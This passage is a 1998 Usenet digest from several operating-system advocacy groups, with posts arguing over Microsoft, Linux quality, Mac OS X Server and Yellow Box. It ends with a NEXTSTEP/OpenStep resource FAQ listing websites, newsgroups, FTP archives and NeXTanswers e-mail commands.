References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <jpolaski-1212980213230001@d149-109.ce.mediaone.net> <6%qc2.20198$q15.460161@news.san.rr.com>
Organization: Airwindows
NNTP-Posting-Date: Sat, 12 Dec 1998 19:19:38 EDT
Date: Sat, 12 Dec 1998 19:23:59 -0500
In article <6%qc2.20198$q15.460161@news.san.rr.com>, "Ed Deans."
<eadeans@san.rr.com> wrote:
>No upstart OS (or even BeOS, Mac OS X) or Office software (short of maybe
>giving it away a la Star Office) will break MS's hold anytime soon. Also
>Microsoft is ever expanding into other markets which just extends its
>influence.
>It essentially controls the hardware, the OS, the APIs, Office software,
>etc., etc. They're moving into interactive toys, high-speed net access
>(cable modem software, investments, etc.)
>What's next, MS-brand food? Oh wait, isn't there a MS-brand coffee now?
Yes. There's also an MS-brand dictionary. Ought to bundle nicely with
Word, eh? And of course MS openly pays college professors to teach using
MS tools such as Word etc. (sort of like payola, only apparently not as
illegal) so there's another way to get it in there. With any kind of luck
they can define the English language for you, no matter what happens to
the antitrust case...
Chris Johnson
@airwindows.com
chrisj
From: Matthias Buelow <mkb@altair.mayn.de>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 13 Dec 1998 01:41:25 +0100
Organization: [Posted via] GeFoekoM e.V. Wuerzburg
Message-ID: <87pv9o3mbu.fsf@altair.mayn.de>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com>
petrich@netcom.com (Loren Petrich) writes:
> Consider Linux -- the writers of the Halloween Documents had
> conceded how high-quality it is. It has a reputation for being *much* more
Linux is not high quality. It *really isn't*. Or why would you have
so many bugs, quirks and incompatibilities in it. It is somewhat working
software, of a somewhat better quality in its domain than Microsoft
Windoze in its own, but still. Uggh, gimme the barf bag. It's major
advantage is that it's free. I don't care if the source for linux is
free aswell, I have looked at it, and I don't want to do that again.
--
``Round about the terminal go; / In the poisoned upgrade throw.
Code, which by a student done / In minutes numbering sixty-one.
Run-time error, protection fault / Crash ye first, crash ye shalt.''
(The Oracle, MacBeth95)
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 13 Dec 1998 00:39:21 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <74v2bp$jd5$1@remarQ.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74r7ct$q4h$1@flotsam.uits.indiana.edu> <74u5bd$bb4@news1.panix.com> <74uemb$2jf$1@jetsam.uits.indiana.edu>
In article <74uemb$2jf$1@jetsam.uits.indiana.edu>,
Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
>>Has it. Fully multi-user just like any other BSD Unix.
>
>The reason I wondered is the average home user probably doesn't want to
>boot up and get blasted with a
>
> username:
> password:
>
>How are they going to work that?
NeXT had a default login account, "me". As long as this had no
password, the machine booted up then automaticaly logged into
that account, so the user saw a standard desktop automatically.
If the user added a password to the account, he got a GUI login
screen, not completely unlike NT.
--
Don McGregor
mcgredo@mbay.net
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 13 Dec 1998 00:51:05 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <74v31p$pta$1@remarQ.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <74tvpp$1nk$1@jetsam.uits.indiana.edu> <74u6o3$jid$1@remarQ.com> <74ueqr$2jm$1@jetsam.uits.indiana.edu>
In article <74ueqr$2jm$1@jetsam.uits.indiana.edu>,
Gregory Loren Hansen <glhansen@copper.ucs.indiana.edu> wrote:
>Except Unix systems usually seem to stuff all their useful applications
>into /bin, along with two hundred shell utilities and various library
>directories. I've never liked that, because it's too hard to take a quick
>tour of the system and see what they have that I can use. Does Apple have
>a better idea?
GUI applications, which most non-propellerhead users will be using
almost exclusively, were typically placed in /NextApps (NeXT-shipped
standard GUI applications), /LocalApps (machine-wide GUI applications,
could be an NFS-mounted directory), or in ~/Apps (home directory
location for GUI apps). Most of the stuff in /bin won't be seen
by anyone not on the command line, and if you're there, you know what
you're doing.
--
Don McGregor
mcgredo@mbay.net
Message-ID: <367316E2.38925C5F@nstar.net>
Date: Sat, 12 Dec 1998 19:22:42 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com> <3672BC37.53083A9@nstar.net> <74ujrs$faj@news1.panix.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sal Denaro wrote:
> What is it that *you* don't understand about the concept of finite resources?
That wasn't what we were discussing. Why are you changing the subject?
> Why should Apple pull people off of development of OSX for its current installed
> base, or the runtime for the _largest_ installed user base (windows) before it
> has even resolved the issue of free runtimes?
[...]
> Did you see the <sarcasm> </sarcasm> tags? I was in no way disparaging Linux
> users. Would you like to talk to some people from LXNY that I've helped get
> jobs? Would you like to talk to a teacher at my old high school who I've helped
> install Linux as a proxy server for the staff LAN?
>
> No one is saying that YB for Linux is a bad idea, what we are saying is that
> it may not make sense to develop it now.
And you've been asked to explain why that might be, if you're going to
participate in the naysaying.
> >I can't believe I'm reading of Sal Denaro's disgust
> >for *other people's* zealotry, Sal Denaro who fearlessly champions an
> >operating system release that *doesn't even exist*.
>
> And all of those developers who have installed DR1 and DR2 are illusions?
You'll notice that I said "operating system release". That was
intentional.
> Where have I demonstrated zealotry? I think I have made it abundantly clear
> that my objection to porting YB to Linux at this time has nothing to do with
> Linux and everything to do with Apple making the best use of its resources
> to ship product.
If that's all you have to add, there's no reason for you to continue in
this thread. If, instead, you think you have something important to say
about *why* a Linux port would not be a high-priority use of Apple
resources, by all means put aside the crap and explain.
> In the past I've stated a number of things, (good and bad) about a number
> of OS products. Heck, a few days ago I pointed out that your comment about
> the lack of support for hardware accelerated X servers under Linux had more
> to do with XFree86 than anything else and users looking for accelerated X
> server can buy them from Xig as well as other companies.
I'm not sure what you're trying to point out.
> >No, I *NEVER* said that I was not interested in writing to the YB API.
>
> And after YB ships, what will keep you from installing it on your machine?
> According to your headers you are running Mozilla 4.05 [en] (Win95; I).
Correct.
> If you are not willing to install a new OS to run YB, then you can install
> under Win95. You have a choice, install it on your current machine under
> an OS you already have or you can install a new OS for it. (your 3rd choice
> is to ask Apple for a Linux version and wait and see if they have any
> plans to do one. If you don't want to wait, go back and look at your first
> two options)
I've already made this clear, Sal. Why I would have to explain things to
you 3 and 4 times escapes me.
> Did you or did you not state that "YB losses because it is based on Obj-C"?
I made that statement in a prior posting, which, in context, was not
factual and not a statement of my opinion. If you read more carefully
you'll pick this up.
> And even if you didn't say than, it is clear that you were unhappy with the
> NeXT UI. If you didn't like the UI, why do you want it on Linux?
What does the NeXT UI have to do with a Linux port of Yellow Box?
Nothing.
> >No, you're confusing things. It's *you* I don't like.
>
> I'll take that as a complement.
You're welcome, then.
MJP
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <87pv9o3mbu.fsf@altair.mayn.de>
From: bhurt@visi.com (Brian Hurt)
Message-ID: <uQEc2.1649$WZ6.4080317@ptah.visi.com>
Date: Sun, 13 Dec 1998 01:34:18 GMT
NNTP-Posting-Date: Sat, 12 Dec 1998 19:34:18 CDT
Matthias Buelow <mkb@altair.mayn.de> writes:
>petrich@netcom.com (Loren Petrich) writes:
>> Consider Linux -- the writers of the Halloween Documents had
>> conceded how high-quality it is. It has a reputation for being *much* more
>Linux is not high quality. It *really isn't*. Or why would you have
>so many bugs, quirks and incompatibilities in it. It is somewhat working
>software, of a somewhat better quality in its domain than Microsoft
>Windoze in its own, but still. Uggh, gimme the barf bag. It's major
>advantage is that it's free. I don't care if the source for linux is
>free aswell, I have looked at it, and I don't want to do that again.
Just out of curiosity, please name an OS that you consider "high
quality".
Brian
Date: Sat, 12 Dec 1998 18:10:52 -0800
From: stevehix@safemail.com (Steve Hix)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Message-ID: <stevehix-1212981810530001@192.168.1.10>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <74s7kb$mn1$1@joxer.acsu.buffalo.edu> <74sfs5$tag$1@flotsam.uits.indiana.edu>
Organization: Close to None
In article <74sfs5$tag$1@flotsam.uits.indiana.edu>,
glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen) wrote:
> In article <74s7kb$mn1$1@joxer.acsu.buffalo.edu>,
> Edward P Scholl <scholl@joxer.acsu.buffalo.edu> wrote:
> >Gregory Loren Hansen (glhansen@copper.ucs.indiana.edu) wrote:
> >
> >: If MacOS X is a good Unix, it will diffuse into the Unix world. Maybe
> >: faster because Apple is bigger than any single Unix vendor.
> >
> >ever heard of a small company called ibm?
> IBM sells more Unix machines than Apple sells Macs?
Not a chance. Neither do HP or Sun, as far as I can
recall from seeing the numbers (at a presentation at
work).
Dollar sales are something else altogether.
From: "Osvaldo Pinali Doederlein" <osvaldo@visionnaire.com.br>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sun, 13 Dec 1998 03:14:43 +0100
Organization: Ecole des Mines de Nantes
Message-ID: <74v83a$6j9$1@wfn.emn.fr>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu>
Ben White <benjamin_white@brown.edu> wrote in message
news:36731A2F.8BB882A2@brown.edu...
><much of Outlook example cut>
>You've managed to disprove yourself by pointing out one of the highly fatal
>flaws in Outlook and many other MS products. If the information/format
changes
>after the software has been written, the software gives the user has no
>recourse. For example, in parts of Maryland, phone users must dial the area
>code, even for local calls. Dialup networking in Win95 can't handle that
>because the developers didn't consider such a case. So if I told my machine
>that my phone number was 301-681-2222 and my ISP's number was 301-593-9876,
it
>would insist on dialing only the last 7 digits. Sure, there are ways around
it.
>I can specify my area code as something else or specify my ISP's number as
>301-301-593-9876. But the point is that assuming the responsibility for
knowing
>what's best for all users -- MS's mentality -- is highly erroneous.
Your counter-example makes me think that the Microsoft app is right for 99%
of users and wrong for 1% of users, while other software (like Unix) tries
to be right for 100% of users (making everything highly accessible and
tweakable) but in my judgement it's wrong for 90% of users (too difficult).
I go with Microsoft on this one!
From: "Martin Ozolins" <Martin.Ozollins@cwusa.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Sat, 12 Dec 1998 18:55:16 -0800
Organization: CampusCWIX
Message-ID: <74va6o$9hc$1@news.campus.mci.net>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu>
Wrong answer, RTFM
Ben White wrote in message <36731A2F.8BB882A2@brown.edu>...
>
>
>Willy wrote:
>
>> On Sat, 12 Dec 1998 14:06:55 GMT, in comp.os.ms-windows.advocacy
>> petrich@netcom.com (Loren Petrich) wrote:
>>
>> >In article <3671fcae$0$226@nntp1.ba.best.com>,
>> >Boris <XXXboris@movil.comXXX> wrote:
>> >
>> >>Microsoft has the best technical talent in the industry. Where would
that
>> >threat emerge >from?
>> >
>> > And how is that supposed to be the case?
>> >
>> > That would not be very apparent from the low quality of some of
>> >its software.
>> >
>> > Consider Linux -- the writers of the Halloween Documents had
>> >conceded how high-quality it is. It has a reputation for being *much*
more
>> >stable than M$ OSes -- _on_the_same_hardware_. So why was a loose
>> >community of volunteers able to do what (supposedly) the world's best
>> >programming talent was unable to do?
>>
>> The problem is that your only criteria for "quality" software seems to
>> be whether it's stable or not. You don't take usability and feature
>> set into account. You also don't take into account that Microsoft's
>> products try to meets the needs of 100 million users.
>
>That's certain on my short list of criteria for defining quality software.
I
>wouldn't dream of calling software that insisted on being rebooted daily
>quality. What other things did you have in mind? Completeness? Performance?
In
>contrast to Windows, Linux has them, too. And MS is not trying to meet the
>needs of 100 million users. It's trying to meet the need of 1
>lowest-common-denominator user.
>
><much of Outlook example cut>
>
>> Microsoft does this kind of thing all over the place. Once Outlook
>> knows the country (from the address) then it gets the proper telephone
>> format and insures that your telephone numbers are entered properly.
>> The list goes on and on.
>>
>> What's also difficult is the research needed to gather all the
>> information.
>
>You've managed to disprove yourself by pointing out one of the highly fatal
>flaws in Outlook and many other MS products. If the information/format
changes
>after the software has been written, the software gives the user has no
>recourse. For example, in parts of Maryland, phone users must dial the area
>code, even for local calls. Dialup networking in Win95 can't handle that
>because the developers didn't consider such a case. So if I told my machine
>that my phone number was 301-681-2222 and my ISP's number was 301-593-9876,
it
>would insist on dialing only the last 7 digits. Sure, there are ways around
it.
>I can specify my area code as something else or specify my ISP's number as
>301-301-593-9876. But the point is that assuming the responsibility for
knowing
>what's best for all users -- MS's mentality -- is highly erroneous.
>
>
>> So I think their software is of high quality because of it's high
>> usability (it also doesn't crash on my machine so I think it's well
>> written as well.)
>
>I'm sure MS sinks untold billions into UI designers, maybe even as much as
>their marketing department. Hence, their interfaces and functionality may
>indeed be sufficient for many. The point is, however, that there are plenty
of
>people who would rather use something else but can't because their world is
to
>Windows-centric. Hence, the DOJ's suit.
>
>BEN
>
>
From: mkb@altair.mayn.de (Matthias Buelow)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: 13 Dec 1998 02:50:07 GMT
Organization: NIL
Message-ID: <74va0v$cou$1@wuff.mayn.de>
References: <36717987.21076075@news2.asan.com> <petrichF3uv7J.7w2@netcom.com> <87pv9o3mbu.fsf@altair.mayn.de> <uQEc2.1649$WZ6.4080317@ptah.visi.com>
In article <uQEc2.1649$WZ6.4080317@ptah.visi.com>,
Brian Hurt <bhurt@visi.com> wrote:
>Just out of curiosity, please name an OS that you consider "high
>quality".
I'd say "higher quality" are Digital Unix, Solaris, HP-UX (yes),
AIX even (it has some awesome features), BSDi and the free BSD versions.
--
``Round about the terminal go; / In the poisoned upgrade throw.
Code, which by a student done / In minutes numbering sixty-one.
Run-time error, protection fault / Crash ye first, crash ye shalt.''
(The Oracle, MacBeth95)
From: Mark Hamstra <mark.hamstra@bentley.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 12 Dec 1998 21:35:29 -0500
Organization: Bentley systems, Inc.
Sender: mark@sullivan.bentley.com
Message-ID: <xz3e6kdb0u.fsf@sullivan.bentley.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <adt <adtF3uI6I.LG7@netcom.com> <74u5rc$l5b@newsb.netnews.att.com>
gupta@knim.tm.tta.moc-mirror after @ writes:
> [Sorry, lost the attributions]
>
> >: IMHO, Apple is blowing a major opportunity to partake in the larger
> >: Unix community by continuing to refuse to directly support X Window in
> >: MacOS X; instead insisting upon a 100% consistent/integrated UI (or as
> >: close as they can come to that while supporting both the legacy Carbon
> >: API and Yellow Box.)
>
> The 100% consistent/integrated UI is a point of differentiation of
> Apple's "Unix" and the other UNICes and might be perceived as a
> competitive advantage. There is no point in providing yet-another-UNIX;
> Linux has that more than covered.
The point, though, is that Apple and MacOS X do *not* have large portions
of the application market covered, and any holes in application availability
will necessarily limit the scope of MacOS X's applicability and success.
For example, MacOS X as it is being positioned by Apple, cannot be success-
fully used as a scientific/engineering workstation, despite the strengths and
robustness of PPC hardware and MacOS X's Unix core. Key commercial appli-
cation software does not exist for the current MacOS or NeXT/OPENstep. The
limited market penetration of both MacOS and NeXT technologies means that it
is unlikely that such key applications will be rewritten to use either YB or
Carbon until at least such time as there is an established demand for MacOS X
scientific/engineering workstations --in other words, a classic chicken-and-
egg problem.
While the core BSD functionality is available to make porting of existing
scientific/engineering packages for Unix worth considering, the lack of an
"out of the box", Apple-supported X Window environment means that it is
unlikely that ISV's will take that approach --building in dependencies on
3rd party X servers and other software components is not a very attractive
proposition.
Instead of having a friendly, usable, well-supported, almost-mainstream
workstation that can run all the other required productivity applications
in addition to selected key Unix/X Window applications --in other words,
something considerably different than "yet-another-Unix"-- Apple's approach
leaves them all but locked out of application markets where they do not
already have a strong, established presence.
--
Mark Hamstra
Bentley Systems, Inc.
From: billa@uiuc.edu (Bill Altenberger)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: Sat, 12 Dec 1998 22:19:22 -0600
Organization: Mad Macs
Message-ID: <billa-1212982219220001@naples-15.slip.uiuc.edu>
References: <73iop0$29t@crab.afs.com>
In article <73iop0$29t@crab.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> Not that this should surprise anyone, but Apple got one of PC Week's IT
> Turkey Awards this week for Rhapsody. Specifically, it says:
>
> "Rotten Apple: Before iMac came the Rhapsody OS -- the *first* savior of
> Steve Jobs' enterprise. How many software developers wasted their time on a
> product that never saw the light of day?"
>
> Quibble with the details if you like, but you have to admit this is the
> common perception.
>
> Greg
see
http://www.zdnet.com/pcweek/stories/columns/0,4351,372431,00.html
Win98 and Win2k were on top of the list...
Bill
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
From: bill@bilver.magicnet.netREMOVETHIS (Bill Vermillion)
Subject: Re: M$: Really the Best Talent?
Organization: W.J.Vermillion - Orlando / Winter Park
Message-ID: <F3vxoH.4B2@bilver.magicnet.netREMOVETHIS>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <74v83a$6j9$1@wfn.emn.fr>
Date: Sun, 13 Dec 1998 03:57:53 GMT
In article <74v83a$6j9$1@wfn.emn.fr>,
Osvaldo Pinali Doederlein <osvaldo@visionnaire.com.br> wrote:
>Ben White <benjamin_white@brown.edu> wrote in message
>news:36731A2F.8BB882A2@brown.edu...
>><much of Outlook example cut>
>>You've managed to disprove yourself by pointing out one of the highly fatal
>>flaws in Outlook and many other MS products. If the information/format
>changes
>>after the software has been written, the software gives the user has no
>>recourse. For example, in parts of Maryland, phone users must dial the area
>>code, even for local calls. Dialup networking in Win95 can't handle that
>>because the developers didn't consider such a case. So if I told my machine
>>that my phone number was 301-681-2222 and my ISP's number was 301-593-9876,
>it
>>would insist on dialing only the last 7 digits. Sure, there are ways around
>it.
>>I can specify my area code as something else or specify my ISP's number as
>>301-301-593-9876. But the point is that assuming the responsibility for
>knowing
>>what's best for all users -- MS's mentality -- is highly erroneous.
>Your counter-example makes me think that the Microsoft app is right
>for 99% of users and wrong for 1% of users, while other software
>(like Unix) tries to be right for 100% of users (making everything
>highly accessible and tweakable) but in my judgement it's wrong for
>90% of users (too difficult). I go with Microsoft on this one!
Well I don't know how many Microsoft users there are in Florida -
but the state is rapidly moving to 10 digit dialing for everything.
Given that we are in the top 5 states population wide, I'd say your
1% of the users who would be affected by this is far too low.
Just doing a quick rough percentage of US population gives over 3%
here, add that to the Maryland figure above, and other areas, I'd
might guess that this could easily affect 10% of the MS users.
In the past year I've had more problems with MS installs, than I've
had with any Unix installs. The 'too hard' is almost an urban
legend that really is not true today. At least in my observations.
There still aren't enough Unix aps, and a business needs to find
the software first - and find the best software fit for them. If
that software runs only on CP/M 2.0 then that's what they should
use.
--
Bill Vermillion bv @ wjv.com
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <15188912920426@digifix.com>
Date: 13 Dec 1998 04:45:59 GMT
Organization: Digital Fix Development
Message-ID: <13296913525221@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
